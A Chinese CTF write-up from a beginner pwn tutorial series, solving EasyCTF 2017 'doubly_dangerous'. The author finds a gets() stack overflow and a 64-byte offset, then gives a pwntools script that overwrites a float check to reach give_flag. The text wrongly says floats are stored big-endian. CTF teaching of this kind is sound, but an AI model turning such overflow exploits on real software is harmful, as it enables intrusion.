【Writeup】i春秋 Linux Pwn 入门教程_EasyCTF 2017-doubly_dangerous

Linux pwn入门教程(1)——栈溢出基础

0x01 解题思路

  • 查看文件信息并试运行
    【Writeup】i春秋 Linux Pwn 入门教程_EasyCTF 2017-doubly_dangerous_第1张图片
    ​ 开启了NX,栈上无法执行代码。

  • 拖入IDA 32bits,F5查看

    main
    【Writeup】i春秋 Linux Pwn 入门教程_EasyCTF 2017-doubly_dangerous_第2张图片

  • 显然存在栈溢出漏洞,目前存在两种思路:

    1. 覆盖RIP为give_flag地址,执行give_flag函数
    2. 覆盖v5的值为11.28125,使其通过判断执行give_flag函数
  • 通过尝试发现,按照第一种思路会出错,无法成功返回give_flag函数
    在这里插入图片描述

  • 考虑第二种思路。首先定位判断语句,应该在gets函数调用紧接着的后面
    【Writeup】i春秋 Linux Pwn 入门教程_EasyCTF 2017-doubly_dangerous_第3张图片

    浮点指令

    fld 类似于 push

    fstp 类似于 pop

    fadd 类似于 add

    fucomip 类似于 cmp

    ​ 可以看到比较的变量地址分别是ebp-C0x0804876C。接着就只剩下两个问题:确定用户输入与ebp-C的偏移量以及11.28125的十六进制值。

  • 使用peda调试确定偏移量

    • 在输出nope!的指令处下断点(断点位置合适即可)
      在这里插入图片描述
      在这里插入图片描述

    • 继续运行,输入具有特征的字符串
      在这里插入图片描述

    • 查看堆栈,确定输入地址
      【Writeup】i春秋 Linux Pwn 入门教程_EasyCTF 2017-doubly_dangerous_第4张图片
      0xffffcf4c

    • 查看ebp-C地址
      在这里插入图片描述
      0xffffcf8c

    • 计算出偏移值

      0xffffcf8c - 0xffffcf4c = 0x40 = 64

  • 使用IDA HEX视图确定11.28125的值
    【Writeup】i春秋 Linux Pwn 入门教程_EasyCTF 2017-doubly_dangerous_第5张图片
    在这里插入图片描述

    浮点数使用大端方式储存,所以是0x41348000

0x02 EXP

#!/usr/bin/python
#coding:utf-8

from pwn import *

io = process('./doubly_dangerous')

floatValue = 0x41348000

payload = ''
payload += 'A'*0x40
payload += p32(floatValue)

io.recvuntil('Give me a string:')
io.sendline(payload)
io.interactive()

获得flag:
【Writeup】i春秋 Linux Pwn 入门教程_EasyCTF 2017-doubly_dangerous_第6张图片

你可能感兴趣的:(i春秋_Linux,pwn入门教程系列,-,Writeups)